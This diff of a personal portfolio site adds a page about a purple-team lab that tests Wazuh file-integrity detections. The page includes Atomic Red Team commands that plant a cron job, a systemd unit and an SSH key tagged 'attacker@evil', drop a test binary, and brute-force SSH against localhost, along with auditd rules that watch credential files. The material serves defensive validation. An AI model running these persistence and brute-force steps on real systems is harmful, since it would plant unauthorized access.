| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/purple-team-lab/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Purple-Team Lab | Zion Boggan"> | |
| + | <meta property="og:description" content="Adversary emulation that validates the detections instead of assuming they work."> | |
| + | <meta property="og:url" content="https://zionboggan.com/purple-team-lab/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/purple-team-lab/01-detections-fired.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Purple-Team Lab | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Adversary emulation that validates the detections instead of assuming they work."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/purple-team-lab/01-detections-fired.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Purple-Team Lab","description":"Adversary emulation that validates the detections instead of assuming they work.","url":"https://zionboggan.com/purple-team-lab/","image":"https://zionboggan.com/assets/purple-team-lab/01-detections-fired.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">ADVERSARY EMULATION</div> | |
| + | <h1>Purple-Team Lab</h1> | |
| + | <p class="tagline">Adversary emulation that validates the detections instead of assuming they work.</p> | |
| + | <div class="tags"><span>Atomic Red Team</span><span>Caldera</span><span>Wazuh FIM</span><span>MITRE ATT&CK</span><span>Auditd</span><span>Detection-as-Code</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">4</div><div class="k">Custom Wazuh rules (100410-100413)</div></div><div class="stat"><div class="n">6</div><div class="k">ATT&CK techniques validated</div></div><div class="stat"><div class="n">5</div><div class="k">Detections firing at alert severity</div></div><div class="stat"><div class="n">12</div><div class="k">Highest rule level (authorized_keys)</div></div><div class="stat"><div class="n">18</div><div class="k">Invalid SSH logins driving brute-force rule 5712</div></div><div class="stat"><div class="n">6</div><div class="k">FIM paths watched in real time</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | <figure class="shot"><img loading="lazy" src="/assets/purple-team-lab/01-detections-fired.png" alt="Emulated techniques detected in Wazuh: custom rules 100410-100413 plus the brute-force rule firing on the purple-target agent, each ATT&CK-tagged."></figure><figcaption>Emulated techniques detected in Wazuh: custom rules 100410-100413 plus the brute-force rule firing on the purple-target agent, each ATT&CK-tagged.</figcaption> | |
| + | <div class="content"> | |
| + | <h2>Custom Wazuh rules</h2> | |
| + | <p>Four custom rules sit in the Wazuh <code>syscheck</code> group and key off real-time FIM events rather than syscall auditing. Each is ATT&CK-tagged and assigned a level that reflects how it should be triaged: the <code>authorized_keys</code> rule is level 12 because an attacker who can append a key owns persistent access; the others are level 10. The full ruleset, verbatim, deployed to the manager as <code>rules/local_purple_rules.xml</code>:</p><pre><code><group name="linux,syscheck,purple-team-fim,"> | |
| + | ||
| + | <rule id="100410" level="10"> | |
| + | <if_group>syscheck</if_group> | |
| + | <field name="file" type="pcre2">^/etc/cron</field> | |
| + | <description>Cron file created or modified: $(file) - possible scheduled-task persistence</description> | |
| + | <mitre> | |
| + | <id>T1053.003</id> | |
| + | </mitre> | |
| + | </rule> | |
| + | ||
| + | <rule id="100411" level="10"> | |
| + | <if_group>syscheck</if_group> | |
| + | <field name="file" type="pcre2">^/etc/systemd/system/.+\.service</field> | |
| + | <description>Systemd unit created or modified: $(file) - possible service persistence</description> | |
| + | <mitre> | |
| + | <id>T1543.002</id> | |
| + | </mitre> | |
| + | </rule> | |
| + | ||
| + | <rule id="100412" level="12"> | |
| + | <if_group>syscheck</if_group> | |
| + | <field name="file" type="pcre2">\.ssh/authorized_keys$</field> | |
| + | <description>SSH authorized_keys modified: $(file) - possible persistence via account manipulation</description> | |
| + | <mitre> | |
| + | <id>T1098.004</id> | |
| + | </mitre> | |
| + | </rule> | |
| + | ||
| + | <rule id="100413" level="10"> | |
| + | <if_group>syscheck</if_group> | |
| + | <field name="file" type="pcre2">^/usr/local/bin/</field> | |
| + | <description>Binary placed in /usr/local/bin: $(file) - possible persistence or tooling drop</description> | |
| + | <mitre> | |
| + | <id>T1543</id> | |
| + | </mitre> | |
| + | </rule> | |
| + | ||
| + | </group></code></pre><p>The rules depend on the agent's <code>syscheck</code> block watching those paths in real time. That FIM configuration is a one-liner deployed to the agent:</p><pre><code><directories realtime="yes" check_all="yes" report_changes="yes">/etc/cron.d,/etc/cron.daily,/etc/systemd/system,/root/.ssh,/home/zion/.ssh,/usr/local/bin</directories></code></pre> | |
| + | <h2>Adversary emulation</h2> | |
| + | <p>A single Atomic Red Team script runs the technique set against the <code>purple-target</code> VM — a dedicated Ubuntu 22.04 host rather than a container, because kernel-level telemetry needs a real kernel. It drops a cron job in <code>/etc/cron.d</code> (T1053.003), creates a systemd unit in <code>/etc/systemd/system</code> (T1543.002), appends an SSH key to <code>~/.ssh/authorized_keys</code> (T1098.004), plants an executable in <code>/usr/local/bin</code> (T1543), and fires 18 invalid SSH logins to trip the brute-force rule (T1110). The persistence actions, verbatim from the runner:</p><pre><code>echo '* * * * * root /usr/bin/id' | sudo tee /etc/cron.d/atomic-persist >/dev/null | |
| + | ||
| + | printf '[Unit]\nDescription=atomic test\n[Service]\nExecStart=/usr/bin/id\n[Install]\nWantedBy=multi-user.target\n' \ | |
| + | | sudo tee /etc/systemd/system/atomic-evil.service >/dev/null | |
| + | ||
| + | mkdir -p "$HOME/.ssh" | |
| + | echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAtomicRedTeamTestKeyDoNotUse attacker@evil' >> "$HOME/.ssh/authorized_keys" | |
| + | ||
| + | printf '#!/bin/bash\nid\n' | sudo tee /usr/local/bin/definitely-not-malware >/dev/null | |
| + | sudo chmod +x /usr/local/bin/definitely-not-malware</code></pre><p>MITRE Caldera is provisioned via Docker Compose for graph-based emulation when an attack chain — rather than discrete atomics — is needed. It is built from upstream master and exposed on <code>:8888</code>:</p><pre><code>services: | |
| + | caldera: | |
| + | image: caldera:local | |
| + | build: | |
| + | context: https://github.com/mitre/caldera.git#master | |
| + | ports: | |
| + | - "8888:8888" | |
| + | - "8443:8443" | |
| + | environment: | |
| + | - CALDERA_CONF=local | |
| + | command: ["--insecure", "--build"]</code></pre> | |
| + | <h2>Coverage matrix</h2> | |
| + | <p>Every technique was executed on the endpoint and confirmed in the SIEM, mapped to ATT&CK and assigned a level that reflects how it should be triaged. Five of six fire on detections written for this lab; the sixth is a baseline check that login telemetry is reaching the manager.</p><table><thead><tr><th>Technique</th><th>ATT&CK</th><th>Atomic action</th><th>Telemetry</th><th>Rule</th><th>Level</th><th>Detected</th></tr></thead><tbody><tr><td>Brute Force</td><td>T1110</td><td>18 invalid SSH logins from one source</td><td>sshd auth log</td><td>5712 (built-in)</td><td>10</td><td>yes</td></tr><tr><td>Scheduled Task / Cron</td><td>T1053.003</td><td>write job to <code>/etc/cron.d/</code></td><td>FIM (real-time)</td><td>100410 (custom)</td><td>10</td><td>yes</td></tr><tr><td>Systemd Service</td><td>T1543.002</td><td>create unit in <code>/etc/systemd/system/</code></td><td>FIM (real-time)</td><td>100411 (custom)</td><td>10</td><td>yes</td></tr><tr><td>SSH Authorized Keys</td><td>T1098.004</td><td>append key to <code>~/.ssh/authorized_keys</code></td><td>FIM (real-time)</td><td>100412 (custom)</td><td>12</td><td>yes</td></tr><tr><td>Create / Modify System Process</td><td>T1543</td><td>drop binary in <code>/usr/local/bin/</code></td><td>FIM (real-time)</td><td>100413 (custom)</td><td>10</td><td>yes</td></tr><tr><td>Valid Accounts / Sudo</td><td>T1078 / T1548.003</td><td>login + sudo to root</td><td>sshd/PAM auth log</td><td>5501 / 5402 (built-in)</td><td>3</td><td>yes (baseline)</td></tr></tbody></table> | |
| + | <h2>Why FIM, not auditd</h2> | |
| + | <p>The persistence detections key off file integrity monitoring, not syscall auditing — and that is a deliberate choice, not a shortcut. FIM is Wazuh-native and works everywhere, including containers and hardened hosts where the kernel audit framework is not available to you. Auditd execve rules, by contrast, silently do nothing on a host that boots with audit disabled — which is the common case inside an LXC container, where the audit subsystem is namespaced away and rules load without error but never fire.</p><p>The auditd ruleset that would be layered on a host with working kernel auditing is included for completeness in <code>agent/auditd-purple.rules</code> — it watches execve, credential files, and the persistence directories — but the validated detections above do not depend on it:</p><pre><code>-a always,exit -F arch=b64 -S execve -S execveat -k exec | |
| + | -a always,exit -F arch=b32 -S execve -S execveat -k exec | |
| + | -w /etc/shadow -p r -k cred_access | |
| + | -w /etc/passwd -p wa -k passwd_change | |
| + | -w /etc/sudoers -p wa -k sudoers_change | |
| + | -w /etc/cron.d -p wa -k cron_persist | |
| + | -w /etc/systemd/system -p wa -k systemd_persist</code></pre><p>The honest consequence is a noted coverage gap: execve-based detections such as reverse-shell command lines (T1059.004) need that host syscall auditing the target kernel did not provide. The FIM-based persistence detections are independent of it, which is exactly why they survive the environments where auditd does not.</p> | |
| + | <h2>Running it</h2> | |
| + | <p>On the endpoint — an enrolled Wazuh agent with the FIM config from <code>agent/</code> applied — the entire technique set runs from one script. It logs each step with a timestamp and supports a <code>--cleanup</code> flag that removes the cron job, systemd unit, dropped binary, and the planted SSH key:</p><pre><code>sudo bash atomics/run_atomics.sh # execute the technique set | |
| + | sudo bash atomics/run_atomics.sh --cleanup # execute, then revert all artifacts</code></pre><p>The brute-force step loops 18 password-auth attempts against localhost with pubkey auth forced off, so each one lands in the sshd auth log as an invalid user:</p><pre><code>for i in $(seq 1 18); do | |
| + | ssh -o BatchMode=yes -o ConnectTimeout=2 -o StrictHostKeyChecking=no \ | |
| + | -o PreferredAuthentications=password -o PubkeyAuthentication=no \ | |
| + | "evil_user_${i}@127.0.0.1" true 2>/dev/null | |
| + | done</code></pre><p>Then in the Wazuh dashboard, filter Threat Hunting → Events to confirm the hits:</p><pre><code>rule.id:(100410 or 100411 or 100412 or 100413 or 5712)</code></pre><p>Caldera, for graph-based emulation, is optional and comes up alongside:</p><pre><code>cd caldera && docker compose up -d # http://localhost:8888</code></pre> | |
| + | <h2>Detection-as-code</h2> | |
| + | <p>This lab is one half of a two-repo workflow. Detections are authored once as Sigma in a separate detection-as-code repository and compiled to each target SIEM; the Wazuh-native versions of the persistence rules proven here are the compiled output. The endpoint itself is the same instrumented host stood up in a companion SOC-automation lab, so the agent, indexer, and dashboard are not bespoke to this project — they are the standing detection stack this work validates against.</p><p>Keeping emulation and authoring in separate repos enforces the discipline: a rule does not get marked validated here until an atomic in <code>run_atomics.sh</code> has demonstrably triggered it on the live agent. The matrix is regenerated from real runs, and the screenshot in the repo is the evidence, not a mockup.</p> | |
| + | <h2>What it proves</h2> | |
| + | <p>Severity is the point as much as coverage is. The persistence detections fire at level 10–12 because they would page an analyst, while login and sudo events sit at level 3 as context, not alerts. A detection that fires at the wrong severity is as useless as one that does not fire at all.</p><ul><li><strong>Detections are tested, not assumed.</strong> Each custom rule has a corresponding atomic that demonstrably triggers it on the live agent — the matrix reflects an actual run, not an intended design.</li><li><strong>Gaps are noted honestly.</strong> Execve-based detections such as reverse-shell command lines (T1059.004) require host syscall auditing the target kernel did not provide; that limitation is documented rather than papered over, and the FIM persistence path is independent of it.</li><li><strong>Telemetry choice is justified.</strong> FIM was chosen over auditd specifically because it survives containers and hardened hosts where kernel auditing silently fails — a deliberate engineering decision with a stated tradeoff.</li><li><strong>It plugs into a real workflow.</strong> The rules proven here are the compiled output of a Sigma-first detection-as-code pipeline, validated against a standing Wazuh stack rather than a throwaway.</li></ul> | |
| + | </div> | |
| + | ||
| + | <p class="repo-line">Repository · github.com/zionboggan/purple-team-lab</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |
| @@ -0,0 +1,4 @@ | ||
| + | User-agent: * | |
| + | Allow: / | |
| + | ||
| + | Sitemap: https://zionboggan.com/sitemap.xml |
| @@ -0,0 +1,298 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Secure CI/CD Pipeline | Zion Boggan</title> | |
| + | <meta name="description" content="A GitHub Actions pipeline that gates every merge on four security checks, SAST, secret scanning, dependency audit, and tests, with custom Semgrep rules and findings routed back to the SOC."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
